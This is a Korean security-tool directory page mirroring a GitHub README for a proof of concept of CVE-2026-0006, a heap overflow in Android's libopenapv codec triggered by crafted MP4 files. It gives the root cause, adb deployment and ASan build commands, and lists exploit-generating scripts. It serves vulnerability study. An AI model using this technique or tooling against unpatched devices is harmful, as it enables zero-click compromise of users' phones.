Skip to content
KitploitKITPLOIT
도구블로그
Log in
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-0006-openapv-poc — CVE-2026-0006: libopenapv(Android APV 코덱)용 힙 버퍼 오버플로 PoC - CVSS 9.8 | Kitploit
도구/GitHubGitHub/mobilehackinglab/cve-2026-0006-openapv-poc
Android SecurityVulnerability AnalysisCode AnalysisExploitationFuzzingMobile SecurityLearning & EducationBinary ExploitationLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubmobilehackinglab/cve-2026-0006-openapv-poc

CVE-2026-0006-openapv-poc

CVE-2026-0006: libopenapv(Android APV 코덱)용 힙 버퍼 오버플로 PoC - CVSS 9.8

저장소 보기
126185개월 전아직 검토되지 않음

CVE-2026-0006: libopenapv(Android APV 코덱)의 힙 버퍼 오버플로우

Mobile Hacking Lab의 패치 분석 및 재현

CVSS 9.8 Critical | 실제 환경에서 활발히 악용됨 | 2026년 3월 패치됨

참고: 저희는 이 취약점을 발견하지 않았습니다. CVE-2026-0006을 발견하고 책임 있게 보고한 모든 공로는 원래 연구자들에게 있습니다. 이 저장소는 보안 커뮤니티가 관련 버그 클래스와 악용 기술을 이해하도록 돕기 위한 저희의 독자적인 패치 분석, 재현 및 교육용 자료를 담고 있습니다.

데모: mediaswcodec에서 SIGSEGV를 트리거하는 deploy_exploit_mp4.sh

개요

CVE-2026-0006은 Android 16에 Mainline 모듈로 통합된 삼성의 오픈소스 APV(Advanced Professional Video) 코덱인 libopenapv의 힙 버퍼 오버플로우입니다.

이 취약점은 조작된 MP4 파일을 통해 제로 클릭 원격 코드 실행을 허용합니다. Android 미디어 프레임워크는 썸네일과 미리보기 생성 시 비디오 파일을 자동으로 처리하므로 사용자 상호작용이 필요하지 않습니다.

근본 원인

oapvd_info()와 oapvd_decode()는 서로 다른 PBU(Payload Byte Units)에서 프레임 크기를 읽습니다. 공격자는 작은 크기(16x16)를 주장하는 AU_INFO PBU(type 65)를 주입하는 반면, 실제 FRAME PBU는 큰 크기(64x64)를 인코딩합니다. 프레임워크는 oapvd_info() 출력에 따라 버퍼를 할당한 다음, oapvd_decode()가 FRAME PBU의 크기로 디코딩된 픽셀을 기록하여 버퍼를 14,848바이트만큼 오버플로우시킵니다.

영향을 받는 버전

  • libopenapv v0.1.11.1 ~ v0.1.13.0
  • 2026년 3월 이전 보안 패치 수준의 Android 16 기기
  • Samsung Galaxy S26 Ultra 및 APV 코덱을 지원하는 기타 기기

저장소 구성

파일설명
generate_overflow_mp4.pyAU_INFO 크기 불일치로 익스플로잇 MP4를 생성합니다
deploy_exploit_mp4.sh원샷: 생성, Android 기기로 푸시, 열기, 크래시 캡처
poc_mp4_asan.cC2SoftApvDec 디코드 경로를 모사한 ASan PoC
poc_android_oob_write.c가드 영역 오버플로우 감지 기능이 있는 독립형 ARM64 PoC
valid.apv유효한 337바이트 APV 비트스트림(64x64, YUV422, 10비트)
apv-mp4/valid_ffmpeg.mp4기준 MP4 컨테이너(ffmpeg로 생성)
apv-mp4/overflow_auinfo.mp4사전 빌드된 익스플로잇 MP4(1,178바이트)

테스트 환경 설정

보안 패치 수준이 2026년 3월 이전인 Android 16 에뮬레이터가 필요합니다(이전 Android 버전에는 APV 디코더가 없습니다).

AVD 생성

# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"

# Create the AVD
avdmanager create avd \
  -n android16_apv \
  -k "system-images;android-36.1;google_apis;arm64-v8a" \
  -d pixel_6

# Launch the emulator
emulator -avd android16_apv -no-snapshot-load

APV 디코더 존재 확인

# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so

# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch

보안 패치가 2026-03-01 이상이면 취약점이 패치된 것이므로 익스플로잇이 작동하지 않습니다. 이전 시스템 이미지나 스냅샷을 사용하세요.

빠른 시작

옵션 1: 사전 빌드된 익스플로잇 MP4를 Android 기기에 배포

# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh

이 스크립트는 익스플로잇 MP4를 생성해 기기로 푸시하고 열어서 크래시 출력을 캡처합니다. 첫 번째 시도에서 크래시가 발생하지 않을 수 있으며, 스크립트는 최대 3회 자동 재시도합니다.

옵션 2: 익스플로잇 MP4만 생성

# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py

옵션 3: ARM64용 ASan PoC 크로스 컴파일

# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so

# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
  -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
  -I../inc -I./include \
  poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan

# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
  ASAN_OPTIONS=detect_leaks=0 \
  /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"

예상 ASan 출력

==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0

0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)

수정 방법

  1. 즉각적인 경계 검사 (커밋 fb6a5eab): ssize > 4 검증 및 'aPv1' 시그니처 확인
  2. 매개변수 검증 (v0.1.13.1): 크기/타일 크기 검증을 위한 oapv_param.c 모듈
  3. 안전한 비트스트림 접근 (v0.2.0.0): 비트스트림 리더 수준에서 경계 검사된 읽기

참고 자료

  • Android 보안 게시판 - 2026년 3월
  • libopenapv GitHub
  • RFC 9924 - APV 코덱
  • Mobile Hacking Lab - 전체 분석 문서

크레딧

이 취약점은 원래 보안 연구자들이 발견하고 책임 있게 보고했습니다. 저희는 이 CVE를 발견하지 않았습니다. 발견에 대한 모든 공로는 그들에게 있습니다.

이 저장소는 보안 커뮤니티가 실제 취약점에서 배울 수 있도록 교육 목적으로 제작된 Mobile Hacking Lab의 독자적인 패치 분석 및 재현 자료입니다.

면책 조항

이 연구는 취약한 라이브러리의 격리된 테스트 빌드에서 교육 목적으로 수행되었습니다. 모든 테스트는 오픈소스 libopenapv 프로젝트의 로컬 빌드 바이너리를 대상으로 실행되었습니다. 실제 프로덕션 기기나 시스템은 대상으로 하지 않았습니다.

도구 다운로드